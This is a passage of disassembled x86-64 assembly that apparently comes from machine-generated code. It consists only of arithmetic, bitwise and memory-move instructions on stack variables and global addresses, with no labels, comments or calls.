mov rax, qword [0x1401e89d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7f]
sub eax, ecx
mov rcx, qword [rsp + 0x8f10]
mov byte [rcx], al
mov rax, qword [rsp + 0x8b28]
mov rax, qword [rax]
mov qword [rsp + 0x9ee8], rax
mov rax, qword [rsp + 0x9058]
mov rcx, qword [rsp + 0x9e60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8fe8], rax
mov rax, qword [rsp + 0x9878]
mov eax, dword [rax]
mov dword [rsp + 0x4fe0], eax
mov rax, qword [rsp + 0x92f0]
mov ecx, dword [rsp + 0x4f8c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9678]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9388]
movzx eax, word [rax]
mov word [0x1401e89e8], ax
mov rax, qword [0x1401e8840]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1028]
sub eax, ecx
mov word [rsp + 0x103c], ax
lea rax, [rsp + 0xda]
mov qword [rsp + 0x9ef0], rax
mov rax, qword [rsp + 0x9c58]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9848]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9c58]
mov word [rcx], ax
movzx eax, byte [0x1401e87a4]
mov byte [rsp + 0xfa], al
mov eax, dword [rsp + 0x4ea4]
mov ecx, dword [rsp + 0x4fac]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f94], eax
mov rax, qword [rsp + 0x8cf8]
mov rcx, qword [rsp + 0x8f18]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4e40], eax
mov rax, qword [rsp + 0x9698]
mov qword [rsp + 0x9ef8], rax
mov rax, qword [rsp + 0x9978]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x94f0]
mov qword [rsp + 0x9f00], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9f00]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9170], rax
movzx eax, word [rsp + 0x11ac]
mov rcx, qword [rsp + 0x9ca0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1401e70b4], ax
lea rax, [0x1401e8793]
mov qword [rsp + 0x9f08], rax
mov rax, qword [rsp + 0x8c88]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x92e0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x119c], ax
mov rax, qword [rsp + 0x9d28]
movzx eax, byte [rax]
mov byte [rsp + 0xfb], al
movzx eax, byte [rsp + 0x89]
mov rcx, qword [rsp + 0x91c8]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9d60]
mov byte [rcx], al
mov rax, qword [rsp + 0x9960]
mov rcx, qword [rsp + 0x9d38]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8af8], rax
lea rax, [rsp + 0x4edc]
mov qword [rsp + 0x9f10], rax
mov rax, qword [rsp + 0x90b0]
mov rcx, qword [rsp + 0x97d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8d30], rax
mov eax, dword [rsp + 0x4f80]
mov dword [rsp + 0x4fe4], eax
movzx eax, word [rsp + 0x1048]
movzx ecx, word [rsp + 0x1188]
sub eax, ecx
mov rcx, qword [0x1401e8948]
mov word [rcx], ax
mov rax, qword [rsp + 0x97f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9500]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xcb], al
mov rax, qword [rsp + 0x9d20]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9590]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8fa0]
mov word [rcx], ax
mov rax, qword [rsp + 0x99c8]
movzx eax, byte [rax]
mov byte [rsp + 0xfc], al
movsx eax, word [0x1401e70b0]
movsx ecx, word [rsp + 0x10b8]
sub eax, ecx
mov rcx, qword [rsp + 0x8eb0]
mov word [rcx], ax
lea rax, [rsp + 0x9b58]
mov qword [rsp + 0x9f18], rax
mov rax, qword [rsp + 0x9650]
mov ecx, dword [0x1401e7008]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4e4c], eax
mov rax, qword [rsp + 0x97d8]
mov rcx, qword [rsp + 0x9478]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x98f0]
mov qword [rcx], rax
lea rax, [rsp + 0x4fbc]
mov qword [rsp + 0x9f20], rax
movzx eax, byte [rsp + 0xbf]
movzx ecx, byte [0x1401e7046]
sub eax, ecx
mov byte [0x1401e7047], al
mov rax, qword [rsp + 0x9278]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9750]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x92b0]
mov word [rcx], ax
lea rax, [rsp + 0x10c8]
mov qword [rsp + 0x9f28], rax
movzx eax, byte [rsp + 0x7b]
mov rcx, qword [rsp + 0x8ef0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xe6], al
mov rax, qword [rsp + 0x9568]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x99c8]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9248]
mov byte [rcx], al
mov rax, qword [rsp + 0x95c0]
mov eax, dword [rax]
mov dword [rsp + 0x4fe8], eax
mov rax, qword [rsp + 0x94a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ee8]
mov qword [rsp + 0x9f30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9f30]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x9180], rax
lea rax, [rsp + 0x9440]
mov qword [rsp + 0x9f38], rax
mov rax, qword [rsp + 0x9668]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4fa8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e90], eax
mov rax, qword [0x1401e87f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8cc8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401e87d8]
mov word [rcx], ax
lea rax, [rsp + 0xec]
mov qword [rsp + 0x9f40], rax
mov rax, qword [rsp + 0x9340]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x89]
add eax, ecx
mov byte [rsp + 0xbd], al
mov rax, qword [rsp + 0x9090]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10a0]
and eax, ecx
mov word [rsp + 0x1100], ax
movzx eax, word [rsp + 0x1150]
mov word [rsp + 0x11cc], ax
mov rax, qword [rsp + 0x9988]
mov rcx, qword [rsp + 0x9840]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4f44], eax
lea rax, [0x1401e7008]
mov qword [rsp + 0x9f48], rax
mov rax, qword [rsp + 0x8fc0]
mov rcx, qword [rsp + 0x9758]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x99a8], rax
mov rax, qword [rsp + 0x9960]
mov rcx, qword [rsp + 0x9488]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9e68], rax
mov rax, qword [rsp + 0x8e20]
movzx eax, word [rax]
mov word [rsp + 0x11d0], ax
movzx eax, byte [rsp + 0x9e]
movzx ecx, byte [rsp + 0xe7]
sub eax, ecx
mov byte [0x1401e7025], al
mov rax, qword [rsp + 0x8c60]
movzx eax, word [rax]
mov rcx, qword [0x1401e8970]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x10b0], ax
movzx eax, byte [rsp + 0x91]
mov byte [rsp + 0xfd], al
mov rax, qword [rsp + 0x9388]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9a98]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x10a4], ax
mov rax, qword [rsp + 0x9a18]
mov ecx, dword [rsp + 0x4ddc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9dd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9cf0]
mov eax, dword [rax]
mov dword [rsp + 0x4fec], eax
mov rax, qword [rsp + 0x93c8]
mov rcx, qword [rsp + 0x9a88]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9188], rax
mov rax, qword [rsp + 0x9250]
mov rax, qword [rax]
mov qword [rsp + 0x9f50], rax
movsx eax, word [0x1401e89a8]
movsx ecx, word [rsp + 0x10a8]
xor eax, ecx
mov word [rsp + 0x10cc], ax
lea rax, [rsp + 0xa8]
mov qword [0x1401e89f0], rax
movsx eax, byte [rsp + 0xd4]
movsx ecx, byte [rsp + 0x98]
shl eax, cl
mov byte [rsp + 0xbc], al
lea rax, [0x1401e700d]
mov qword [rsp + 0x9f58], rax
movsx eax, word [rsp + 0x109c]
mov rcx, qword [rsp + 0x9c58]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x114c], ax
lea rax, [rsp + 0x4ccc]
mov qword [rsp + 0x9f60], rax
mov rax, qword [0x1401e7010]
movzx ecx, al
mov rax, qword [rsp + 0x94d0]
sar rax, cl
mov qword [rsp + 0x96f0], rax
mov eax, dword [rsp + 0x4e1c]
mov dword [rsp + 0x4ff0], eax
mov rax, qword [rsp + 0x8b28]
mov rcx, qword [rsp + 0x9a70]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9ee8], rax
mov rax, qword [rsp + 0x9740]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8ae8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x100c], ax
mov rax, qword [rsp + 0x9df0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x91e0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401e8830]
mov byte [rcx], al
movzx eax, word [rsp + 0x10c4]
mov word [rsp + 0x11d4], ax
mov rax, qword [0x1401e89f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xf0]
and eax, ecx
mov byte [rsp + 0xf9], al
movzx eax, byte [rsp + 0x7a]
mov byte [rsp + 0xfe], al
mov rax, qword [rsp + 0x9ce0]
mov rcx, qword [rsp + 0x9910]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x99c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9c38]
mov eax, dword [rax]
mov ecx, dword [0x1401e7004]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9dd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9330]
mov eax, dword [rax]
mov dword [rsp + 0x4ff4], eax
mov rax, qword [rsp + 0x9578]
mov rcx, qword [rsp + 0x93a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9768], rax
movzx eax, word [rsp + 0x1038]
mov word [rsp + 0x11d8], ax
movzx eax, byte [rsp + 0xe7]
mov byte [0x1401e87e3], al
movsx eax, byte [rsp + 0xb5]
mov rcx, qword [rsp + 0x8f80]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9390]
mov byte [rcx], al
mov rax, qword [rsp + 0x9350]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x11c0]
add eax, ecx
mov word [rsp + 0x111c], ax
lea rax, [rsp + 0x10f0]
mov qword [rsp + 0x9f68], rax
movsx eax, byte [rsp + 0xd7]
mov rcx, qword [rsp + 0x8e38]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xd8], al
lea rax, [0x1401e7008]
mov qword [rsp + 0x9f70], rax
mov rax, qword [rsp + 0x97d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9c28]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9ce0]
mov qword [rcx], rax
lea rax, [rsp + 0x8af8]
mov qword [rsp + 0x9f78], rax
mov eax, dword [rsp + 0x4e50]
mov ecx, dword [rsp + 0x4ccc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x92f0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1184]
mov rcx, qword [rsp + 0x8c60]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x1401e89c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9240]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1134]
and eax, ecx
mov word [rsp + 0x1180], ax
lea rax, [0x1401e8795]
mov qword [rsp + 0x9f80], rax
movsx eax, word [rsp + 0x10e8]
mov rcx, qword [rsp + 0x98d0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1078], ax
movzx eax, word [rsp + 0x11d8]
mov word [rsp + 0x11dc], ax
mov rax, qword [rsp + 0x9cd8]
mov ecx, dword [rsp + 0x4efc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8ed8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9c60]
mov rcx, qword [rsp + 0x9880]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x95d0], rax
mov rax, qword [rsp + 0x8f98]
mov qword [rsp + 0x9f88], rax
mov rax, qword [rsp + 0x91f8]
mov ecx, dword [rsp + 0x4f2c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9ab0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9310]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9690]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401e704a], al
movzx eax, word [rsp + 0x1140]
mov word [rsp + 0x11e0], ax
mov rax, qword [rsp + 0x9f58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9148]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xed], al
mov rax, qword [rsp + 0x94d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9ec0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe3], al
mov rax, qword [rsp + 0x9a10]
movzx eax, word [rax]
mov word [rsp + 0x11e4], ax
mov rax, qword [rsp + 0x9748]
mov rcx, qword [rsp + 0x91a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9958]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8d78]
mov eax, dword [rax]
mov dword [rsp + 0x4ff8], eax
mov rax, qword [rsp + 0x8d18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x99f0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8f70], rax
mov rax, qword [rsp + 0x9d50]
mov ecx, dword [rsp + 0x4ef8]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x9c90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9908]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xbf]
xor eax, ecx
mov byte [0x1401e704b], al
movzx eax, byte [0x1401e700e]
mov byte [rsp + 0xff], al
mov rax, qword [rsp + 0x9c58]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10e8]
shl eax, cl
mov rcx, qword [rsp + 0x9740]
mov word [rcx], ax
lea rax, [rsp + 0x11c4]
mov qword [rsp + 0x9f90], rax
movzx eax, byte [rsp + 0xf1]
mov rcx, qword [rsp + 0x9df0]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x8b88]
mov byte [rcx], al
mov rax, qword [rsp + 0x8de0]
mov rax, qword [rax]
mov qword [rsp + 0x9f98], rax
mov rax, qword [rsp + 0x97e0]
mov rcx, qword [rsp + 0x90d8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9cc8], rax
mov eax, dword [0x1401e7008]
mov ecx, dword [rsp + 0x4e3c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4fc4], eax
mov rax, qword [rsp + 0x9408]
mov eax, dword [rax]
mov dword [rsp + 0x4ffc], eax
movzx eax, word [rsp + 0x112c]
movzx ecx, word [rsp + 0x1184]
sub eax, ecx
mov word [0x1401e8898], ax
mov rax, qword [rsp + 0x99e0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xf6]
sub eax, ecx
mov byte [rsp + 0xac], al
movzx eax, word [rsp + 0x11cc]
mov word [rsp + 0x11e8], ax
mov rax, qword [rsp + 0x90a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9518]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8b08]
mov byte [rcx], al
mov rax, qword [0x1401e8930]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe5]
add eax, ecx
mov byte [rsp + 0xd0], al
mov rax, qword [rsp + 0x9bc0]
mov eax, dword [rax]
mov dword [rsp + 0x5000], eax
mov eax, dword [rsp + 0x4f98]
mov ecx, dword [rsp + 0x4fb4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9840]
mov dword [rcx], eax
mov rax, qword [rsp + 0x98f8]
mov rax, qword [rax]
mov qword [rsp + 0x9fa0], rax
mov rax, qword [rsp + 0x9e10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9c80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9e68], rax
movzx eax, word [rsp + 0x11c8]
mov word [0x1401e89f8], ax
movsx eax, word [rsp + 0xffc]
mov rcx, qword [rsp + 0x8eb0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x118c], ax
movzx eax, word [rsp + 0x106c]
mov word [rsp + 0x11ec], ax
mov rax, qword [rsp + 0x95a0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9898]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x118c], ax
lea rax, [rsp + 0xf9]
mov qword [rsp + 0x9fa8], rax
mov rax, qword [rsp + 0x9098]
mov rcx, qword [rsp + 0x9d38]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9820]
mov qword [rcx], rax
lea rax, [rsp + 0x4f28]
mov qword [rsp + 0x9fb0], rax
mov rax, qword [0x1401e7018]
mov rcx, qword [rsp + 0x9958]
mov qword [rsp + 0x9fb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9fb8]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x98f8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4e40]
mov ecx, dword [rsp + 0x4ed8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e50], eax
movzx eax, byte [rsp + 0x9a]
mov rcx, qword [rsp + 0x8f68]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x1401e7025], al
lea rax, [rsp + 0x8e]
mov qword [rsp + 0x9fc0], rax
mov rax, qword [rsp + 0x96e0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc2]
and eax, ecx
mov byte [rsp + 0xed], al
movzx eax, word [rsp + 0x1060]
mov word [rsp + 0x11f0], ax
mov rax, qword [rsp + 0x9ef0]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e7025]
add eax, ecx
mov byte [rsp + 0xae], al
mov rax, qword [rsp + 0x9670]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9a40]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9ce0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4fc8]
mov dword [rsp + 0x5004], eax
mov rax, qword [rsp + 0x9e50]
mov rcx, qword [rsp + 0x8f08]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4f30], eax
mov rax, qword [rsp + 0x94f0]
mov rax, qword [rax]
mov qword [rsp + 0x9fc8], rax
movzx eax, word [rsp + 0x113c]
mov rcx, qword [rsp + 0x9d88]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401e87d8]
mov word [rcx], ax
movzx eax, byte [0x1401e7023]
mov rcx, qword [rsp + 0x9070]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe7], al
movsx eax, word [rsp + 0x1104]
mov rcx, qword [rsp + 0x91b0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x104c], ax
lea rax, [rsp + 0xec]
mov qword [rsp + 0x9fd0], rax
mov rax, qword [rsp + 0x9df8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9240]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9a48]
mov word [rcx], ax
mov rax, qword [rsp + 0x96b0]
mov rax, qword [rax]
mov qword [rsp + 0x9fd8], rax
mov rax, qword [rsp + 0x9650]
mov eax, dword [rax]
imul eax, dword [rsp + 0x4d00]
mov dword [rsp + 0x4e38], eax
mov eax, dword [rsp + 0x4eb8]
mov ecx, dword [0x1401e7004]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9c50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9170]
mov qword [rsp + 0x9fe0], rax
movzx eax, word [rsp + 0x10e0]
mov rcx, qword [rsp + 0x9de0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x11b4], ax
movsx eax, byte [0x1401e7037]
movsx ecx, byte [rsp + 0xa3]
sar eax, cl
mov byte [0x1401e704e], al
mov rax, qword [rsp + 0x9b38]
movzx eax, word [rax]
mov word [rsp + 0x11f4], ax
movzx eax, byte [rsp + 0xe2]
mov rcx, qword [rsp + 0x9518]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xb3], al
movzx eax, word [rsp + 0x1018]
mov word [rsp + 0x11f8], ax
mov rax, qword [rsp + 0x94a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8d80]
mov qword [rsp + 0x9fe8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9fe8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9d10], rax
mov eax, dword [0x1401e7008]
mov ecx, dword [rsp + 0x4f30]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e1c], eax
mov rax, qword [rsp + 0x9128]
mov qword [rsp + 0x9ff0], rax
mov rax, qword [rsp + 0x9d50]
mov ecx, dword [rsp + 0x4f1c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4e9c], eax
movzx eax, byte [rsp + 0xc0]
mov byte [rsp + 0x100], al
mov rax, qword [0x1401e88d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7a]
sub eax, ecx
mov byte [0x1401e7027], al
mov rax, qword [rsp + 0x9898]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1128]
sub eax, ecx
mov word [rsp + 0x1094], ax
movzx eax, byte [rsp + 0x88]
mov rcx, qword [0x1401e8830]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x85], al
lea rax, [rsp + 0x1070]
mov qword [rsp + 0x9ff8], rax
mov rax, qword [rsp + 0x97d8]
mov rcx, qword [rsp + 0x8f30]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8d30], rax
mov rax, qword [rsp + 0x9408]
mov eax, dword [rax]
mov dword [rsp + 0x5008], eax
mov rax, qword [rsp + 0x9a08]
mov rcx, qword [rsp + 0x90b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x95a8], rax
mov rax, qword [rsp + 0x9cf0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4eb0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8e60]
mov dword [rcx], eax
lea rax, [0x1401e7023]
mov qword [rsp + 0xa000], rax
mov rax, qword [rsp + 0x8bf8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7f]
add eax, ecx
mov byte [0x1401e704f], al
mov rax, qword [rsp + 0x9038]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9050]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9608]
mov word [rcx], ax
lea rax, [0x1401e706c]
mov qword [rsp + 0xa008], rax
movsx eax, byte [rsp + 0x92]
mov rcx, qword [rsp + 0x9918]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x70], al
mov rax, qword [rsp + 0x9f60]
mov rcx, qword [rsp + 0x91e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4e30], eax
lea rax, [rsp + 0x8ef8]
mov qword [rsp + 0xa010], rax
mov eax, dword [rsp + 0x4e88]
mov rcx, qword [rsp + 0x9808]
mov qword [rsp + 0xa018], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa018]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x9538]
mov dword [rcx], eax
mov rax, qword [rsp + 0x94b8]
mov rax, qword [rax]
mov qword [rsp + 0xa020], rax
mov rax, qword [0x1401e8868]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x94e0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9de0]
mov word [rcx], ax
movsx eax, byte [rsp + 0xce]
mov rcx, qword [rsp + 0x9290]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e87a7], al
mov rax, qword [rsp + 0x92b0]
movzx eax, word [rax]
mov word [rsp + 0x11fc], ax
movzx eax, byte [0x1401e87e3]
movzx ecx, byte [rsp + 0x74]
sub eax, ecx
mov rcx, qword [rsp + 0x9d60]
mov byte [rcx], al
movsx eax, word [rsp + 0x1044]
mov rcx, qword [rsp + 0x8f00]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x110c], ax
mov rax, qword [rsp + 0x9558]
movzx eax, byte [rax]
mov byte [rsp + 0x101], al
mov rax, qword [rsp + 0x8d78]
mov eax, dword [rax]
mov ecx, dword [0x1401e7008]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9f48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9748]
mov rax, qword [rax]
mov qword [rsp + 0xa028], rax
mov rax, qword [rsp + 0x93b0]
mov rcx, qword [rsp + 0x9860]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8de0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8b70]
mov ecx, dword [rsp + 0x4e50]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9620]
mov dword [rcx], eax
lea rax, [rsp + 0x1124]
mov qword [0x1401e8a00], rax
movzx eax, byte [rsp + 0x7a]
mov byte [rsp + 0x102], al
mov rax, qword [rsp + 0x9be8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10a4]
add eax, ecx
mov word [rsp + 0x10c4], ax
mov rax, qword [rsp + 0x95d8]
movzx eax, byte [rax]
mov byte [rsp + 0x103], al
mov rax, qword [rsp + 0x8c88]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10d0]
sub eax, ecx
mov rcx, qword [rsp + 0x8f00]
mov word [rcx], ax
mov rax, qword [rsp + 0x8ed8]
mov rcx, qword [rsp + 0x9838]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4f4c], eax
lea rax, [rsp + 0x9cd0]
mov qword [rsp + 0xa030], rax
mov rax, qword [rsp + 0x9c50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5008]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9c38]
mov dword [rcx], eax
lea rax, [0x1401e7018]
mov qword [rsp + 0xa038], rax
movsx eax, byte [rsp + 0xd1]
movsx ecx, byte [rsp + 0x73]
add eax, ecx
mov byte [0x1401e703b], al
movzx eax, word [rsp + 0x1174]
mov rcx, qword [rsp + 0x9590]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x9110]
mov word [rcx], ax
lea rax, [rsp + 0xe9]
mov qword [rsp + 0xa040], rax
mov rax, qword [rsp + 0x8db0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1140]
or eax, ecx
mov rcx, qword [rsp + 0x9ab8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9388]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x95f0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x8e80]
mov word [rcx], ax
lea rax, [0x1401e7010]
mov qword [rsp + 0xa048], rax
mov rax, qword [rsp + 0x9d08]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9bc0]
mov qword [rsp + 0xa050], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa050]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4f90], eax
mov rax, qword [rsp + 0x8d40]
mov qword [rsp + 0xa058], rax
mov rax, qword [rsp + 0x9d50]
mov ecx, dword [rsp + 0x4f54]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4f18], eax
movzx eax, byte [rsp + 0xd1]
mov byte [0x1401e87e4], al
movsx eax, word [rsp + 0x1110]
movsx ecx, word [rsp + 0x11e8]
add eax, ecx
mov rcx, qword [rsp + 0x9c40]
mov word [rcx], ax
lea rax, [rsp + 0x1060]
mov qword [rsp + 0xa060], rax
mov rax, qword [rsp + 0x9370]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x82]
add eax, ecx
mov rcx, qword [rsp + 0x96a0]
mov byte [rcx], al
lea rax, [rsp + 0x92]
mov qword [rsp + 0xa068], rax
mov rax, qword [0x1401e8798]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9698]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x95b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9c38]
mov rcx, qword [rsp + 0x9588]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x91f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x92c8]
mov rax, qword [rax]
